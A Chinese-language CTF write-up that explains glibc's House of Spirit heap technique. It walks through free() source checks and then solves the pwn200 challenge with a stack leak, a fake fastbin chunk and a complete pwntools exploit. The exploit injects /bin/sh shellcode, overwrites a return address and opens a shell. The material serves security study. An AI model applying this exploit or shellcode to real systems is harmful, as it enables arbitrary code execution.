简介
House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。
分别在两个可控区构造chunk数据,来绕过free函数检查,使其以为这整个数据段都是used chunk
Free函数检查机制
free -> __libc_free -> _int_free
__libc_free源码如下:
void
__libc_free (void *mem) //通用类型的指针,指向 memory 区域 用户数据段
{
mstate ar_ptr; //指向 malloc_state 结构体的指针
mchunkptr p; //mchunkptr 为指向 malloc_chunk 结构体的指针 /* chunk corresponding to mem */
void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook); //定义一个 hook 的函数指针,将 __free_hook 函数指针赋值给他。
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}
if (mem == 0) /* free(0) has no effect */
return;
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* 这里将chunk的M位置零就可以绕过 release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
&& !DUMPED_MAIN_ARENA_CHUNK (p))
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p); //会调用munmap_chunk函数去释放堆块。
return;
}
MAYBE_INIT_TCACHE ();
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
malloc_chunk 结构体:
typedef struct malloc_chunk* mchunkptr;
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
_int_free:
void
_int_free(mstate av, Void_t* mem)
{
mchunkptr p; /*指向malloc_chunk结构体 chunk corresponding to mem */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr* fb; /* associated fastbin */
[...]
p = mem2chunk(mem);
size = chunksize(p);
[...]
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(av->max_fast) /*其次,size的大小不能超过fastbin的最大值*/
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0)) /*最后是下一个堆块的大小,要大于2*SIZE_ZE小于system_mem*/
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
[...]
fb = &(av->fastbins[fastbin_index(size)]);
[...]
p->fd = *fb;
}
总的来说我们要绕过的有以下几点(还不怎么会分析源码)
- fake_chunk->size 的M位是0,如果是 mmap 的 chunk,会单独处理。
- fake chunk 地址需要对齐
- fake chunk 的 size 大小需要满足对应的 fastbin 的需求
- fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem (一句话就是恰当即可)
实例:l-ctf2016–pwn200
checksec
hunter@hunter:~/how2heap/house of spirit$ checksec pwn200
[*] '/home/hunter/how2heap/house of spirit/pwn200'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
保护全关
执行:
who are u?
AAAA
AAAA, welcome to xdctf~
give me your id ~~?
12
give me money~
12
=======EASY HOTEL========
1. check in
2. check out
3. goodbye
your choice :
IDA–关键函数分析
int sub_400A8E()
int sub_400A8E()
{
signed __int64 i; // [rsp+10h] [rbp-40h]
char v2[48]; // [rsp+20h] [rbp-30h]
puts("who are u?");
for ( i = 0LL; i <= 47; ++i ) //最多读入48个字节
{
read(0, &v2[i], 1uLL);
if ( v2[i] == '\n' )
{
v2[i] = 0;
break;
}
}
printf("%s, welcome to xdctf~\n", v2);
puts("give me your id ~~?");
read_self(); // 最多读入4个字符
return check_in();
}
这里v2可以存放0x30个字节,恰好能覆盖完rbp-0x8的数据。
因为read函数不会 在读取完字符串后面加\x00截断符,所以下面的printf可以泄露栈数据:
R14 0x0
R15 0x0
RBP 0x7fffffffde20 —▸ 0x7fffffffde40 —▸ 0x400b60 ◂— push r15 //此时rbp是0x7fffffffde20
RSP 0x7fffffffddd0 —▸ 0x7ffff7dcc2a0 (_IO_file_jumps) ◂— add byte ptr [rax], al
*RIP 0x400b0b ◂— call 0x400640
────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
0x400afa lea rax, [rbp - 0x30]
0x400afe mov rsi, rax
0x400b01 mov edi, 0x400cd1
0x400b06 mov eax, 0
► 0x400b0b call printf@plt <printf@plt>
format: 0x400cd1 ◂— '%s, welcome to xdctf~\n'
vararg: 0x7fffffffddf0 ◂— 0x6161616261616161 ('aaaabaaa')
0x400b10 mov edi, 0x400ce8
0x400b15 call puts@plt <puts@plt>
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/32gx 0x7fffffffddf0
0x7fffffffddf0: 0x6161616261616161 0x6161616461616163
0x7fffffffde00: 0x6161616661616165 0x6161616861616167
0x7fffffffde10: 0x6161616a61616169 0x6161616c6161616b <====数据段与下面一个栈帧没有截断符\x00那么将会把0x00007fffffffde40翻译为字符串输出直到遇到\x00
0x7fffffffde20: 0x00007fffffffde40 0x0000000000400b59 <====rbp指向的栈数据是 0x00007fffffffde40 所以我们获取的地址-0x20就是该函数rbp的值了
0x7fffffffde30: 0x00007fffffffdf28 0x0000000100000000
0x7fffffffde40: 0x0000000000400b60 0x00007ffff7a05b97
我觉得这不算off-by-one
还有一个IDA反编译的坑:执行read_self();函数后会有一个返回值,而这里没有看出返回值放在那个变量里,进入到汇编代码:
.text:0000000000400B10 mov edi, offset aGiveMeYourId ; "give me your id ~~?"
.text:0000000000400B15 call _puts
.text:0000000000400B1A mov eax, 0
.text:0000000000400B1F call read_self
.text:0000000000400B24 cdqe
.text:0000000000400B26 mov [rbp+var_38], rax <======所以ID的值被保存在rbp-0x38这里,刚好在v2数组的上面
接下来就是checkin函数
check_in()
int sub_400A29()
{
char buf; // [rsp+0h] [rbp-40h]
char *money_p; // [rsp+38h] [rbp-8h]
money_p = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, &buf, 0x40uLL);
strcpy(money_p, &buf);
ptr = money_p; //后面会有函数对ptr进行free操作
return sub_4009C4();
}
checkout():
void sub_40096D()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL; // 堆指针置零
}
else
{
puts("havn't check in");
}
}
显然这里可以往buf中读入0x40个字节,也是刚好覆盖rbp-0x8里面的数据,而rbp-0x8放的就是chunk_ptr,也就是money_p 的值。
所以说free的地址是我们可控的
check_in_again()
int sub_4008B7()
{
size_t nbytes; // [rsp+Ch] [rbp-4h]
if ( ptr )
return puts("already check in");
puts("how long?");
LODWORD(nbytes) = read_self();
if ( (signed int)nbytes <= 0 || (signed int)nbytes > 0x80 )
return puts("invalid length");
ptr = malloc((signed int)nbytes); // nbytes 0~0x80
printf("give me more money : ");
printf("\n%d\n", (unsigned int)nbytes);
read(0, ptr, (unsigned int)nbytes); //对应向ptr_chunk读入一定量字节
return puts("in~");
}
LODWORD是一个宏定义:返回数据的低字节段 从汇编中这里nbytes是8个字节,LODWORD(nbytes)返回低4字节。
利用思路
因为NX没有开启,栈地址可以泄露,然后可以知道整个栈空间排布。我们可以直接向栈中写入shellcode,然后想办法跳转即可。
从main函数执行到check_in(sub_400A29)函数stack状况:
rbp_old_old是main函数中的rbp值,rbp_old是sub_400A8E函数的rbp值
最上面的rbp就是checkin函数的rbp,因为最后函数还是要通过栈中保存的返回地址来返回,所以我们的目的就是篡改rbp_old下面的rip
利用HOS
- money为可控区1,伪造chunk_head
- 下面的rip就是目标数据,修改为shellcode_addr
- ID是可控区2,伪造next_chunk
- name空间用来放shellcode
EXP
from pwn import*
context.log_level = 'debug'
context(os='linux',arch='amd64')
sh = process('./pwn200')
#sh = remote('node3.buuoj.cn',28067)
shellcode = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
sh.sendafter('who are u?\n',shellcode.ljust(46,'A')+'bb')
sh.recvuntil('bb',drop=1)
rbp_old_addr = u64(sh.recvuntil(', welcome',drop=1).ljust(8,'\x00'))-0x20 #地址泄露
print ("rbp_old_addr====>" + str(hex(rbp_old_addr)))
shellcode_addr = rbp_old_addr - 0x30 #计算shellcode地址
fake_chunk_addr = rbp_old_addr - 0x70
sh.sendlineafter('give me your id ~~?\n','41') #41是伪造next_chunk的size字段0x31
money = '\x00'*0x28 + p64(0x41) + p64(0) + p64(fake_chunk_addr) #这里前面放\x00就会使strcpy失效,截断效果。p64(0x41)是size字段
sh.sendafter('give me money~\n',money)
#gdb.attach(sh)
sh.sendlineafter('your choice : ','2') #free掉这个fake_chunk
sh.sendlineafter('your choice : ','1')
payload = '\x00'*0x10 + p64(rbp_old_addr) + p64(shellcode_addr) #覆盖rip
sh.sendlineafter('how long?\n','48') #48对应我们释放的那个fake_chunk
sh.sendline(payload)
#gdb.attach(sh)
sh.sendlineafter('your choice : ','3')
sh.interactive()
结果:
[*] Switching to interactive mode
[DEBUG] Received 0xa bytes:
'good bye~\n'
good bye~
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$
HOS漏洞总结就是:目标数据处于两个可控数据段的中间,堆指针可被覆盖成任意地址
MASS
size_t在C语言中就有了。
它是一种“整型”类型,里面保存的是一个整数,就像int、long那样。这种整数用来记录一个大小(size)。size_t的全称应该是size type,就是说“一种用来记录大小的数据类型”。
通常我们用sizeof(XXX)操作,这个操作所得到的结果就是size_t类型。
因为size_t类型的数据其实是保存了一个整数,所以它也可以做加减乘除,也可以转化为int并赋值给int类型的变量。